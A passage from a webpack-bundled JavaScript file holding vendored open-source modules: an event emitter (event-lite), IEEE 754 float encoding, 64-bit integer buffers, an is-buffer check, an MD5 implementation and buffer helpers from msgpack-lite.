            /***/ (function(module, exports, __webpack_require__) {

                /**
 * event-lite.js - Light-weight EventEmitter (less than 1KB when gzipped)
 *
 * @copyright Yusuke Kawasaki
 * @license MIT
 * @constructor
 * @see https://github.com/kawanet/event-lite
 * @see http://kawanet.github.io/event-lite/EventLite.html
 * @example
 * var EventLite = require("event-lite");
 *
 * function MyClass() {...}             // your class
 *
 * EventLite.mixin(MyClass.prototype);  // import event methods
 *
 * var obj = new MyClass();
 * obj.on("foo", function() {...});     // add event listener
 * obj.once("bar", function() {...});   // add one-time event listener
 * obj.emit("foo");                     // dispatch event
 * obj.emit("bar");                     // dispatch another event
 * obj.off("foo");                      // remove event listener
 */

                function EventLite() {
                    if (!(this instanceof EventLite)) return new EventLite();
                }

                (function(EventLite) {
                    // export the class for node.js
                    if (true) module.exports = EventLite;

                    // property name to hold listeners
                    var LISTENERS = "listeners";

                    // methods to export
                    var methods = {
                        on: on,
                        once: once,
                        off: off,
                        emit: emit
                    };

                    // mixin to self
                    mixin(EventLite.prototype);

                    // export mixin function
                    EventLite.mixin = mixin;

                    /**
   * Import on(), once(), off() and emit() methods into target object.
   *
   * @function EventLite.mixin
   * @param target {Prototype}
   */

                    function mixin(target) {
                        for (var key in methods) {
                            target[key] = methods[key];
                        }
                        return target;
                    }

                    /**
   * Add an event listener.
   *
   * @function EventLite.prototype.on
   * @param type {string}
   * @param func {Function}
   * @returns {EventLite} Self for method chaining
   */

                    function on(type, func) {
                        getListeners(this, type).push(func);
                        return this;
                    }

                    /**
   * Add one-time event listener.
   *
   * @function EventLite.prototype.once
   * @param type {string}
   * @param func {Function}
   * @returns {EventLite} Self for method chaining
   */

                    function once(type, func) {
                        var that = this;
                        wrap.originalListener = func;
                        getListeners(that, type).push(wrap);
                        return that;

                        function wrap() {
                            off.call(that, type, wrap);
                            func.apply(this, arguments);
                        }
                    }

                    /**
   * Remove an event listener.
   *
   * @function EventLite.prototype.off
   * @param [type] {string}
   * @param [func] {Function}
   * @returns {EventLite} Self for method chaining
   */

                    function off(type, func) {
                        var that = this;
                        var listners;
                        if (!arguments.length) {
                            delete that[LISTENERS];
                        } else if (!func) {
                            listners = that[LISTENERS];
                            if (listners) {
                                delete listners[type];
                                if (!Object.keys(listners).length) return off.call(that);
                            }
                        } else {
                            listners = getListeners(that, type, true);
                            if (listners) {
                                listners = listners.filter(ne);
                                if (!listners.length) return off.call(that, type);
                                that[LISTENERS][type] = listners;
                            }
                        }
                        return that;

                        function ne(test) {
                            return test !== func && test.originalListener !== func;
                        }
                    }

                    /**
   * Dispatch (trigger) an event.
   *
   * @function EventLite.prototype.emit
   * @param type {string}
   * @param [value] {*}
   * @returns {boolean} True when a listener received the event
   */

                    function emit(type, value) {
                        var that = this;
                        var listeners = getListeners(that, type, true);
                        if (!listeners) return false;
                        var arglen = arguments.length;
                        if (arglen === 1) {
                            listeners.forEach(zeroarg);
                        } else if (arglen === 2) {
                            listeners.forEach(onearg);
                        } else {
                            var args = Array.prototype.slice.call(arguments, 1);
                            listeners.forEach(moreargs);
                        }
                        return !!listeners.length;

                        function zeroarg(func) {
                            func.call(that);
                        }

                        function onearg(func) {
                            func.call(that, value);
                        }

                        function moreargs(func) {
                            func.apply(that, args);
                        }
                    }

                    /**
   * @ignore
   */

                    function getListeners(that, type, readonly) {
                        if (readonly && !that[LISTENERS]) return;
                        var listeners = that[LISTENERS] || (that[LISTENERS] = {});
                        return listeners[type] || (listeners[type] = []);
                    }

                })(EventLite);


                /***/ }),

            /***/ "./node_modules/ieee754/index.js":
            /*!***************************************!*\
  !*** ./node_modules/ieee754/index.js ***!
  \***************************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                exports.read = function (buffer, offset, isLE, mLen, nBytes) {
                    var e, m
                    var eLen = (nBytes * 8) - mLen - 1
                    var eMax = (1 << eLen) - 1
                    var eBias = eMax >> 1
                    var nBits = -7
                    var i = isLE ? (nBytes - 1) : 0
                    var d = isLE ? -1 : 1
                    var s = buffer[offset + i]

                    i += d

                    e = s & ((1 << (-nBits)) - 1)
                    s >>= (-nBits)
                    nBits += eLen
                    for (; nBits > 0; e = (e * 256) + buffer[offset + i], i += d, nBits -= 8) {}

                    m = e & ((1 << (-nBits)) - 1)
                    e >>= (-nBits)
                    nBits += mLen
                    for (; nBits > 0; m = (m * 256) + buffer[offset + i], i += d, nBits -= 8) {}

                    if (e === 0) {
                        e = 1 - eBias
                    } else if (e === eMax) {
                        return m ? NaN : ((s ? -1 : 1) * Infinity)
                    } else {
                        m = m + Math.pow(2, mLen)
                        e = e - eBias
                    }
                    return (s ? -1 : 1) * m * Math.pow(2, e - mLen)
                }

                exports.write = function (buffer, value, offset, isLE, mLen, nBytes) {
                    var e, m, c
                    var eLen = (nBytes * 8) - mLen - 1
                    var eMax = (1 << eLen) - 1
                    var eBias = eMax >> 1
                    var rt = (mLen === 23 ? Math.pow(2, -24) - Math.pow(2, -77) : 0)
                    var i = isLE ? 0 : (nBytes - 1)
                    var d = isLE ? 1 : -1
                    var s = value < 0 || (value === 0 && 1 / value < 0) ? 1 : 0

                    value = Math.abs(value)

                    if (isNaN(value) || value === Infinity) {
                        m = isNaN(value) ? 1 : 0
                        e = eMax
                    } else {
                        e = Math.floor(Math.log(value) / Math.LN2)
                        if (value * (c = Math.pow(2, -e)) < 1) {
                            e--
                            c *= 2
                        }
                        if (e + eBias >= 1) {
                            value += rt / c
                        } else {
                            value += rt * Math.pow(2, 1 - eBias)
                        }
                        if (value * c >= 2) {
                            e++
                            c /= 2
                        }

                        if (e + eBias >= eMax) {
                            m = 0
                            e = eMax
                        } else if (e + eBias >= 1) {
                            m = ((value * c) - 1) * Math.pow(2, mLen)
                            e = e + eBias
                        } else {
                            m = value * Math.pow(2, eBias - 1) * Math.pow(2, mLen)
                            e = 0
                        }
                    }

                    for (; mLen >= 8; buffer[offset + i] = m & 0xff, i += d, m /= 256, mLen -= 8) {}

                    e = (e << mLen) | m
                    eLen += mLen
                    for (; eLen > 0; buffer[offset + i] = e & 0xff, i += d, e /= 256, eLen -= 8) {}

                    buffer[offset + i - d] |= s * 128
                }


                /***/ }),

            /***/ "./node_modules/int64-buffer/int64-buffer.js":
            /*!***************************************************!*\
  !*** ./node_modules/int64-buffer/int64-buffer.js ***!
  \***************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                /* WEBPACK VAR INJECTION */(function(Buffer) {// int64-buffer.js

                    /*jshint -W018 */ // Confusing use of '!'.
                    /*jshint -W030 */ // Expected an assignment or function call and instead saw an expression.
                    /*jshint -W093 */ // Did you mean to return a conditional instead of an assignment?

                    var Uint64BE, Int64BE, Uint64LE, Int64LE;

                    !function(exports) {
                        // constants

                        var UNDEFINED = "undefined";
                        var BUFFER = (UNDEFINED !== typeof Buffer) && Buffer;
                        var UINT8ARRAY = (UNDEFINED !== typeof Uint8Array) && Uint8Array;
                        var ARRAYBUFFER = (UNDEFINED !== typeof ArrayBuffer) && ArrayBuffer;
                        var ZERO = [0, 0, 0, 0, 0, 0, 0, 0];
                        var isArray = Array.isArray || _isArray;
                        var BIT32 = 4294967296;
                        var BIT24 = 16777216;

                        // storage class

                        var storage; // Array;

                        // generate classes

                        Uint64BE = factory("Uint64BE", true, true);
                        Int64BE = factory("Int64BE", true, false);
                        Uint64LE = factory("Uint64LE", false, true);
                        Int64LE = factory("Int64LE", false, false);

                        // class factory

                        function factory(name, bigendian, unsigned) {
                            var posH = bigendian ? 0 : 4;
                            var posL = bigendian ? 4 : 0;
                            var pos0 = bigendian ? 0 : 3;
                            var pos1 = bigendian ? 1 : 2;
                            var pos2 = bigendian ? 2 : 1;
                            var pos3 = bigendian ? 3 : 0;
                            var fromPositive = bigendian ? fromPositiveBE : fromPositiveLE;
                            var fromNegative = bigendian ? fromNegativeBE : fromNegativeLE;
                            var proto = Int64.prototype;
                            var isName = "is" + name;
                            var _isInt64 = "_" + isName;

                            // properties
                            proto.buffer = void 0;
                            proto.offset = 0;
                            proto[_isInt64] = true;

                            // methods
                            proto.toNumber = toNumber;
                            proto.toString = toString;
                            proto.toJSON = toNumber;
                            proto.toArray = toArray;

                            // add .toBuffer() method only when Buffer available
                            if (BUFFER) proto.toBuffer = toBuffer;

                            // add .toArrayBuffer() method only when Uint8Array available
                            if (UINT8ARRAY) proto.toArrayBuffer = toArrayBuffer;

                            // isUint64BE, isInt64BE
                            Int64[isName] = isInt64;

                            // CommonJS
                            exports[name] = Int64;

                            return Int64;

                            // constructor
                            function Int64(buffer, offset, value, raddix) {
                                if (!(this instanceof Int64)) return new Int64(buffer, offset, value, raddix);
                                return init(this, buffer, offset, value, raddix);
                            }

                            // isUint64BE, isInt64BE
                            function isInt64(b) {
                                return !!(b && b[_isInt64]);
                            }

                            // initializer
                            function init(that, buffer, offset, value, raddix) {
                                if (UINT8ARRAY && ARRAYBUFFER) {
                                    if (buffer instanceof ARRAYBUFFER) buffer = new UINT8ARRAY(buffer);
                                    if (value instanceof ARRAYBUFFER) value = new UINT8ARRAY(value);
                                }

                                // Int64BE() style
                                if (!buffer && !offset && !value && !storage) {
                                    // shortcut to initialize with zero
                                    that.buffer = newArray(ZERO, 0);
                                    return;
                                }

                                // Int64BE(value, raddix) style
                                if (!isValidBuffer(buffer, offset)) {
                                    var _storage = storage || Array;
                                    raddix = offset;
                                    value = buffer;
                                    offset = 0;
                                    buffer = new _storage(8);
                                }

                                that.buffer = buffer;
                                that.offset = offset |= 0;

                                // Int64BE(buffer, offset) style
                                if (UNDEFINED === typeof value) return;

                                // Int64BE(buffer, offset, value, raddix) style
                                if ("string" === typeof value) {
                                    fromString(buffer, offset, value, raddix || 10);
                                } else if (isValidBuffer(value, raddix)) {
                                    fromArray(buffer, offset, value, raddix);
                                } else if ("number" === typeof raddix) {
                                    writeInt32(buffer, offset + posH, value); // high
                                    writeInt32(buffer, offset + posL, raddix); // low
                                } else if (value > 0) {
                                    fromPositive(buffer, offset, value); // positive
                                } else if (value < 0) {
                                    fromNegative(buffer, offset, value); // negative
                                } else {
                                    fromArray(buffer, offset, ZERO, 0); // zero, NaN and others
                                }
                            }

                            function fromString(buffer, offset, str, raddix) {
                                var pos = 0;
                                var len = str.length;
                                var high = 0;
                                var low = 0;
                                if (str[0] === "-") pos++;
                                var sign = pos;
                                while (pos < len) {
                                    var chr = parseInt(str[pos++], raddix);
                                    if (!(chr >= 0)) break; // NaN
                                    low = low * raddix + chr;
                                    high = high * raddix + Math.floor(low / BIT32);
                                    low %= BIT32;
                                }
                                if (sign) {
                                    high = ~high;
                                    if (low) {
                                        low = BIT32 - low;
                                    } else {
                                        high++;
                                    }
                                }
                                writeInt32(buffer, offset + posH, high);
                                writeInt32(buffer, offset + posL, low);
                            }

                            function toNumber() {
                                var buffer = this.buffer;
                                var offset = this.offset;
                                var high = readInt32(buffer, offset + posH);
                                var low = readInt32(buffer, offset + posL);
                                if (!unsigned) high |= 0; // a trick to get signed
                                return high ? (high * BIT32 + low) : low;
                            }

                            function toString(radix) {
                                var buffer = this.buffer;
                                var offset = this.offset;
                                var high = readInt32(buffer, offset + posH);
                                var low = readInt32(buffer, offset + posL);
                                var str = "";
                                var sign = !unsigned && (high & 0x80000000);
                                if (sign) {
                                    high = ~high;
                                    low = BIT32 - low;
                                }
                                radix = radix || 10;
                                while (1) {
                                    var mod = (high % radix) * BIT32 + low;
                                    high = Math.floor(high / radix);
                                    low = Math.floor(mod / radix);
                                    str = (mod % radix).toString(radix) + str;
                                    if (!high && !low) break;
                                }
                                if (sign) {
                                    str = "-" + str;
                                }
                                return str;
                            }

                            function writeInt32(buffer, offset, value) {
                                buffer[offset + pos3] = value & 255;
                                value = value >> 8;
                                buffer[offset + pos2] = value & 255;
                                value = value >> 8;
                                buffer[offset + pos1] = value & 255;
                                value = value >> 8;
                                buffer[offset + pos0] = value & 255;
                            }

                            function readInt32(buffer, offset) {
                                return (buffer[offset + pos0] * BIT24) +
                                    (buffer[offset + pos1] << 16) +
                                    (buffer[offset + pos2] << 8) +
                                    buffer[offset + pos3];
                            }
                        }

                        function toArray(raw) {
                            var buffer = this.buffer;
                            var offset = this.offset;
                            storage = null; // Array
                            if (raw !== false && offset === 0 && buffer.length === 8 && isArray(buffer)) return buffer;
                            return newArray(buffer, offset);
                        }

                        function toBuffer(raw) {
                            var buffer = this.buffer;
                            var offset = this.offset;
                            storage = BUFFER;
                            if (raw !== false && offset === 0 && buffer.length === 8 && Buffer.isBuffer(buffer)) return buffer;
                            var dest = new BUFFER(8);
                            fromArray(dest, 0, buffer, offset);
                            return dest;
                        }

                        function toArrayBuffer(raw) {
                            var buffer = this.buffer;
                            var offset = this.offset;
                            var arrbuf = buffer.buffer;
                            storage = UINT8ARRAY;
                            if (raw !== false && offset === 0 && (arrbuf instanceof ARRAYBUFFER) && arrbuf.byteLength === 8) return arrbuf;
                            var dest = new UINT8ARRAY(8);
                            fromArray(dest, 0, buffer, offset);
                            return dest.buffer;
                        }

                        function isValidBuffer(buffer, offset) {
                            var len = buffer && buffer.length;
                            offset |= 0;
                            return len && (offset + 8 <= len) && ("string" !== typeof buffer[offset]);
                        }

                        function fromArray(destbuf, destoff, srcbuf, srcoff) {
                            destoff |= 0;
                            srcoff |= 0;
                            for (var i = 0; i < 8; i++) {
                                destbuf[destoff++] = srcbuf[srcoff++] & 255;
                            }
                        }

                        function newArray(buffer, offset) {
                            return Array.prototype.slice.call(buffer, offset, offset + 8);
                        }

                        function fromPositiveBE(buffer, offset, value) {
                            var pos = offset + 8;
                            while (pos > offset) {
                                buffer[--pos] = value & 255;
                                value /= 256;
                            }
                        }

                        function fromNegativeBE(buffer, offset, value) {
                            var pos = offset + 8;
                            value++;
                            while (pos > offset) {
                                buffer[--pos] = ((-value) & 255) ^ 255;
                                value /= 256;
                            }
                        }

                        function fromPositiveLE(buffer, offset, value) {
                            var end = offset + 8;
                            while (offset < end) {
                                buffer[offset++] = value & 255;
                                value /= 256;
                            }
                        }

                        function fromNegativeLE(buffer, offset, value) {
                            var end = offset + 8;
                            value++;
                            while (offset < end) {
                                buffer[offset++] = ((-value) & 255) ^ 255;
                                value /= 256;
                            }
                        }

                        // https://github.com/retrofox/is-array
                        function _isArray(val) {
                            return !!val && "[object Array]" == Object.prototype.toString.call(val);
                        }

                    }( true && typeof exports.nodeName !== 'string' ? exports : (this || {}));

                    /* WEBPACK VAR INJECTION */}.call(this, __webpack_require__(/*! ./../buffer/index.js */ "./node_modules/buffer/index.js").Buffer))

                /***/ }),

            /***/ "./node_modules/is-buffer/index.js":
            /*!*****************************************!*\
  !*** ./node_modules/is-buffer/index.js ***!
  \*****************************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                /*!
 * Determine if an object is a Buffer
 *
 * @author   Feross Aboukhadijeh <https://feross.org>
 * @license  MIT
 */

                // The _isBuffer check is for Safari 5-7 support, because it's missing
                // Object.prototype.constructor. Remove this eventually
                module.exports = function (obj) {
                    return obj != null && (isBuffer(obj) || isSlowBuffer(obj) || !!obj._isBuffer)
                }

                function isBuffer (obj) {
                    return !!obj.constructor && typeof obj.constructor.isBuffer === 'function' && obj.constructor.isBuffer(obj)
                }

                // For Node v0.10 support. Remove this eventually.
                function isSlowBuffer (obj) {
                    return typeof obj.readFloatLE === 'function' && typeof obj.slice === 'function' && isBuffer(obj.slice(0, 0))
                }


                /***/ }),

            /***/ "./node_modules/md5/md5.js":
            /*!*********************************!*\
  !*** ./node_modules/md5/md5.js ***!
  \*********************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                (function(){
                    var crypt = __webpack_require__(/*! crypt */ "./node_modules/crypt/crypt.js"),
                        utf8 = __webpack_require__(/*! charenc */ "./node_modules/charenc/charenc.js").utf8,
                        isBuffer = __webpack_require__(/*! is-buffer */ "./node_modules/is-buffer/index.js"),
                        bin = __webpack_require__(/*! charenc */ "./node_modules/charenc/charenc.js").bin,

                        // The core
                        md5 = function (message, options) {
                            // Convert to byte array
                            if (message.constructor == String)
                                if (options && options.encoding === 'binary')
                                    message = bin.stringToBytes(message);
                                else
                                    message = utf8.stringToBytes(message);
                            else if (isBuffer(message))
                                message = Array.prototype.slice.call(message, 0);
                            else if (!Array.isArray(message))
                                message = message.toString();
                            // else, assume byte array already

                            var m = crypt.bytesToWords(message),
                                l = message.length * 8,
                                a =  1732584193,
                                b = -271733879,
                                c = -1732584194,
                                d =  271733878;

                            // Swap endian
                            for (var i = 0; i < m.length; i++) {
                                m[i] = ((m[i] <<  8) | (m[i] >>> 24)) & 0x00FF00FF |
                                    ((m[i] << 24) | (m[i] >>>  8)) & 0xFF00FF00;
                            }

                            // Padding
                            m[l >>> 5] |= 0x80 << (l % 32);
                            m[(((l + 64) >>> 9) << 4) + 14] = l;

                            // Method shortcuts
                            var FF = md5._ff,
                                GG = md5._gg,
                                HH = md5._hh,
                                II = md5._ii;

                            for (var i = 0; i < m.length; i += 16) {

                                var aa = a,
                                    bb = b,
                                    cc = c,
                                    dd = d;

                                a = FF(a, b, c, d, m[i+ 0],  7, -680876936);
                                d = FF(d, a, b, c, m[i+ 1], 12, -389564586);
                                c = FF(c, d, a, b, m[i+ 2], 17,  606105819);
                                b = FF(b, c, d, a, m[i+ 3], 22, -1044525330);
                                a = FF(a, b, c, d, m[i+ 4],  7, -176418897);
                                d = FF(d, a, b, c, m[i+ 5], 12,  1200080426);
                                c = FF(c, d, a, b, m[i+ 6], 17, -1473231341);
                                b = FF(b, c, d, a, m[i+ 7], 22, -45705983);
                                a = FF(a, b, c, d, m[i+ 8],  7,  1770035416);
                                d = FF(d, a, b, c, m[i+ 9], 12, -1958414417);
                                c = FF(c, d, a, b, m[i+10], 17, -42063);
                                b = FF(b, c, d, a, m[i+11], 22, -1990404162);
                                a = FF(a, b, c, d, m[i+12],  7,  1804603682);
                                d = FF(d, a, b, c, m[i+13], 12, -40341101);
                                c = FF(c, d, a, b, m[i+14], 17, -1502002290);
                                b = FF(b, c, d, a, m[i+15], 22,  1236535329);

                                a = GG(a, b, c, d, m[i+ 1],  5, -165796510);
                                d = GG(d, a, b, c, m[i+ 6],  9, -1069501632);
                                c = GG(c, d, a, b, m[i+11], 14,  643717713);
                                b = GG(b, c, d, a, m[i+ 0], 20, -373897302);
                                a = GG(a, b, c, d, m[i+ 5],  5, -701558691);
                                d = GG(d, a, b, c, m[i+10],  9,  38016083);
                                c = GG(c, d, a, b, m[i+15], 14, -660478335);
                                b = GG(b, c, d, a, m[i+ 4], 20, -405537848);
                                a = GG(a, b, c, d, m[i+ 9],  5,  568446438);
                                d = GG(d, a, b, c, m[i+14],  9, -1019803690);
                                c = GG(c, d, a, b, m[i+ 3], 14, -187363961);
                                b = GG(b, c, d, a, m[i+ 8], 20,  1163531501);
                                a = GG(a, b, c, d, m[i+13],  5, -1444681467);
                                d = GG(d, a, b, c, m[i+ 2],  9, -51403784);
                                c = GG(c, d, a, b, m[i+ 7], 14,  1735328473);
                                b = GG(b, c, d, a, m[i+12], 20, -1926607734);

                                a = HH(a, b, c, d, m[i+ 5],  4, -378558);
                                d = HH(d, a, b, c, m[i+ 8], 11, -2022574463);
                                c = HH(c, d, a, b, m[i+11], 16,  1839030562);
                                b = HH(b, c, d, a, m[i+14], 23, -35309556);
                                a = HH(a, b, c, d, m[i+ 1],  4, -1530992060);
                                d = HH(d, a, b, c, m[i+ 4], 11,  1272893353);
                                c = HH(c, d, a, b, m[i+ 7], 16, -155497632);
                                b = HH(b, c, d, a, m[i+10], 23, -1094730640);
                                a = HH(a, b, c, d, m[i+13],  4,  681279174);
                                d = HH(d, a, b, c, m[i+ 0], 11, -358537222);
                                c = HH(c, d, a, b, m[i+ 3], 16, -722521979);
                                b = HH(b, c, d, a, m[i+ 6], 23,  76029189);
                                a = HH(a, b, c, d, m[i+ 9],  4, -640364487);
                                d = HH(d, a, b, c, m[i+12], 11, -421815835);
                                c = HH(c, d, a, b, m[i+15], 16,  530742520);
                                b = HH(b, c, d, a, m[i+ 2], 23, -995338651);

                                a = II(a, b, c, d, m[i+ 0],  6, -198630844);
                                d = II(d, a, b, c, m[i+ 7], 10,  1126891415);
                                c = II(c, d, a, b, m[i+14], 15, -1416354905);
                                b = II(b, c, d, a, m[i+ 5], 21, -57434055);
                                a = II(a, b, c, d, m[i+12],  6,  1700485571);
                                d = II(d, a, b, c, m[i+ 3], 10, -1894986606);
                                c = II(c, d, a, b, m[i+10], 15, -1051523);
                                b = II(b, c, d, a, m[i+ 1], 21, -2054922799);
                                a = II(a, b, c, d, m[i+ 8],  6,  1873313359);
                                d = II(d, a, b, c, m[i+15], 10, -30611744);
                                c = II(c, d, a, b, m[i+ 6], 15, -1560198380);
                                b = II(b, c, d, a, m[i+13], 21,  1309151649);
                                a = II(a, b, c, d, m[i+ 4],  6, -145523070);
                                d = II(d, a, b, c, m[i+11], 10, -1120210379);
                                c = II(c, d, a, b, m[i+ 2], 15,  718787259);
                                b = II(b, c, d, a, m[i+ 9], 21, -343485551);

                                a = (a + aa) >>> 0;
                                b = (b + bb) >>> 0;
                                c = (c + cc) >>> 0;
                                d = (d + dd) >>> 0;
                            }

                            return crypt.endian([a, b, c, d]);
                        };

                    // Auxiliary functions
                    md5._ff  = function (a, b, c, d, x, s, t) {
                        var n = a + (b & c | ~b & d) + (x >>> 0) + t;
                        return ((n << s) | (n >>> (32 - s))) + b;
                    };
                    md5._gg  = function (a, b, c, d, x, s, t) {
                        var n = a + (b & d | c & ~d) + (x >>> 0) + t;
                        return ((n << s) | (n >>> (32 - s))) + b;
                    };
                    md5._hh  = function (a, b, c, d, x, s, t) {
                        var n = a + (b ^ c ^ d) + (x >>> 0) + t;
                        return ((n << s) | (n >>> (32 - s))) + b;
                    };
                    md5._ii  = function (a, b, c, d, x, s, t) {
                        var n = a + (c ^ (b | ~d)) + (x >>> 0) + t;
                        return ((n << s) | (n >>> (32 - s))) + b;
                    };

                    // Package private blocksize
                    md5._blocksize = 16;
                    md5._digestsize = 16;

                    module.exports = function (message, options) {
                        if (message === undefined || message === null)
                            throw new Error('Illegal argument ' + message);

                        var digestbytes = crypt.wordsToBytes(md5(message, options));
                        return options && options.asBytes ? digestbytes :
                        options && options.asString ? bin.bytesToString(digestbytes) :
                        crypt.bytesToHex(digestbytes);
                    };

                })();


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/browser.js":
            /*!**************************************************!*\
  !*** ./node_modules/msgpack-lite/lib/browser.js ***!
  \**************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // browser.js

                exports.encode = __webpack_require__(/*! ./encode */ "./node_modules/msgpack-lite/lib/encode.js").encode;
                exports.decode = __webpack_require__(/*! ./decode */ "./node_modules/msgpack-lite/lib/decode.js").decode;

                exports.Encoder = __webpack_require__(/*! ./encoder */ "./node_modules/msgpack-lite/lib/encoder.js").Encoder;
                exports.Decoder = __webpack_require__(/*! ./decoder */ "./node_modules/msgpack-lite/lib/decoder.js").Decoder;

                exports.createCodec = __webpack_require__(/*! ./ext */ "./node_modules/msgpack-lite/lib/ext.js").createCodec;
                exports.codec = __webpack_require__(/*! ./codec */ "./node_modules/msgpack-lite/lib/codec.js").codec;


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/buffer-global.js":
            /*!********************************************************!*\
  !*** ./node_modules/msgpack-lite/lib/buffer-global.js ***!
  \********************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                /* WEBPACK VAR INJECTION */(function(Buffer) {/* globals Buffer */

                    module.exports =
                        c(("undefined" !== typeof Buffer) && Buffer) ||
                        c(this.Buffer) ||
                        c(("undefined" !== typeof window) && window.Buffer) ||
                        this.Buffer;

                    function c(B) {
                        return B && B.isBuffer && B;
                    }
                    /* WEBPACK VAR INJECTION */}.call(this, __webpack_require__(/*! ./../../buffer/index.js */ "./node_modules/buffer/index.js").Buffer))

                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/buffer-lite.js":
            /*!******************************************************!*\
  !*** ./node_modules/msgpack-lite/lib/buffer-lite.js ***!
  \******************************************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                // buffer-lite.js

                var MAXBUFLEN = 8192;

                exports.copy = copy;
                exports.toString = toString;
                exports.write = write;

                /**
 * Buffer.prototype.write()
 *
 * @param string {String}
 * @param [offset] {Number}
 * @returns {Number}
 */

                function write(string, offset) {
                    var buffer = this;
                    var index = offset || (offset |= 0);
                    var length = string.length;
                    var chr = 0;
                    var i = 0;
                    while (i < length) {
                        chr = string.charCodeAt(i++);

                        if (chr < 128) {
                            buffer[index++] = chr;
                        } else if (chr < 0x800) {
                            // 2 bytes
                            buffer[index++] = 0xC0 | (chr >>> 6);
                            buffer[index++] = 0x80 | (chr & 0x3F);
                        } else if (chr < 0xD800 || chr > 0xDFFF) {
                            // 3 bytes
                            buffer[index++] = 0xE0 | (chr  >>> 12);
                            buffer[index++] = 0x80 | ((chr >>> 6)  & 0x3F);
                            buffer[index++] = 0x80 | (chr          & 0x3F);
                        } else {
                            // 4 bytes - surrogate pair
                            chr = (((chr - 0xD800) << 10) | (string.charCodeAt(i++) - 0xDC00)) + 0x10000;
                            buffer[index++] = 0xF0 | (chr >>> 18);
                            buffer[index++] = 0x80 | ((chr >>> 12) & 0x3F);
                            buffer[index++] = 0x80 | ((chr >>> 6)  & 0x3F);
                            buffer[index++] = 0x80 | (chr          & 0x3F);
                        }
                    }
                    return index - offset;
                }

                /**
 * Buffer.prototype.toString()
 *
 * @param [encoding] {String} ignored
 * @param [start] {Number}
 * @param [end] {Number}
 * @returns {String}
 */

                function toString(encoding, start, end) {
                    var buffer = this;
                    var index = start|0;
                    if (!end) end = buffer.length;
                    var string = '';
                    var chr = 0;

                    while (index < end) {
                        chr = buffer[index++];
                        if (chr < 128) {
                            string += String.fromCharCode(chr);
                            continue;
                        }

                        if ((chr & 0xE0) === 0xC0) {
                            // 2 bytes
                            chr = (chr & 0x1F) << 6 |
                                (buffer[index++] & 0x3F);

                        } else if ((chr & 0xF0) === 0xE0) {
                            // 3 bytes
                            chr = (chr & 0x0F)             << 12 |
                                (buffer[index++] & 0x3F) << 6  |
                                (buffer[index++] & 0x3F);

                        } else if ((chr & 0xF8) === 0xF0) {
                            // 4 bytes
                            chr = (chr & 0x07)             << 18 |
                                (buffer[index++] & 0x3F) << 12 |
                                (buffer[index++] & 0x3F) << 6  |
                                (buffer[index++] & 0x3F);
                        }

                        if (chr >= 0x010000) {
                            // A surrogate pair
                            chr -= 0x010000;

                            string += String.fromCharCode((chr >>> 10) + 0xD800, (chr & 0x3FF) + 0xDC00);
                        } else {
                            string += String.fromCharCode(chr);
                        }
                    }

                    return string;
                }

                /**
 * Buffer.prototype.copy()
 *
 * @param target {Buffer}
 * @param [targetStart] {Number}
 * @param [start] {Number}
 * @param [end] {Number}
 * @returns {number}
 */

                function copy(target, targetStart, start, end) {
                    var i;
                    if (!start) start = 0;
                    if (!end && end !== 0) end = this.length;
                    if (!targetStart) targetStart = 0;
                    var len = end - start;

                    if (target === this && start < targetStart && targetStart < end) {
                        // descending
                        for (i = len - 1; i >= 0; i--) {
                            target[i + targetStart] = this[i + start];
                        }
                    } else {
                        // ascending
                        for (i = 0; i < len; i++) {
                            target[i + targetStart] = this[i + start];
                        }
                    }

                    return len;
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/bufferish-array.js":
            /*!**********************************************************!*\
  !*** ./node_modules/msgpack-lite/lib/bufferish-array.js ***!
  \**********************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // bufferish-array.js

                var Bufferish = __webpack_require__(/*! ./bufferish */ "./node_modules/msgpack-lite/lib/bufferish.js");

                var exports = module.exports = alloc(0);

                exports.alloc = alloc;
                exports.concat = Bufferish.concat;
                exports.from = from;

                /**
 * @param size {Number}
 * @returns {Buffer|Uint8Array|Array}
 */

                function alloc(size) {
                    return new Array(size);
                }

                /**
 * @param value {Array|ArrayBuffer|Buffer|String}
 * @returns {Array}
 */

                function from(value) {
                    if (!Bufferish.isBuffer(value) && Bufferish.isView(value)) {
                        // TypedArray to Uint8Array
                        value = Bufferish.Uint8Array.from(value);
                    } else if (Bufferish.isArrayBuffer(value)) {
                        // ArrayBuffer to Uint8Array
                        value = new Uint8Array(value);
                    } else if (typeof value === "string") {
                        // String to Array
                        return Bufferish.from.call(exports, value);
                    } else if (typeof value === "number") {
                        throw new TypeError('"value" argument must not be a number');
                    }

                    // Array-like to Array
                    return Array.prototype.slice.call(value);
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/bufferish-buffer.js":
            /*!***********************************************************!*\
  !*** ./node_modules/msgpack-lite/lib/bufferish-buffer.js ***!
  \***********************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // bufferish-buffer.js

                var Bufferish = __webpack_require__(/*! ./bufferish */ "./node_modules/msgpack-lite/lib/bufferish.js");
                var Buffer = Bufferish.global;

                var exports = module.exports = Bufferish.hasBuffer ? alloc(0) : [];

                exports.alloc = Bufferish.hasBuffer && Buffer.alloc || alloc;
                exports.concat = Bufferish.concat;
                exports.from = from;

                /**
 * @param size {Number}
 * @returns {Buffer|Uint8Array|Array}
 */

                function alloc(size) {
                    return new Buffer(size);
                }

                /**
 * @param value {Array|ArrayBuffer|Buffer|String}
 * @returns {Buffer}
 */

                function from(value) {
                    if (!Bufferish.isBuffer(value) && Bufferish.isView(value)) {
                        // TypedArray to Uint8Array
                        value = Bufferish.Uint8Array.from(value);
                    } else if (Bufferish.isArrayBuffer(value)) {
                        // ArrayBuffer to Uint8Array
                        value = new Uint8Array(value);
                    } else if (typeof value === "string") {
                        // String to Buffer
                        return Bufferish.from.call(exports, value);
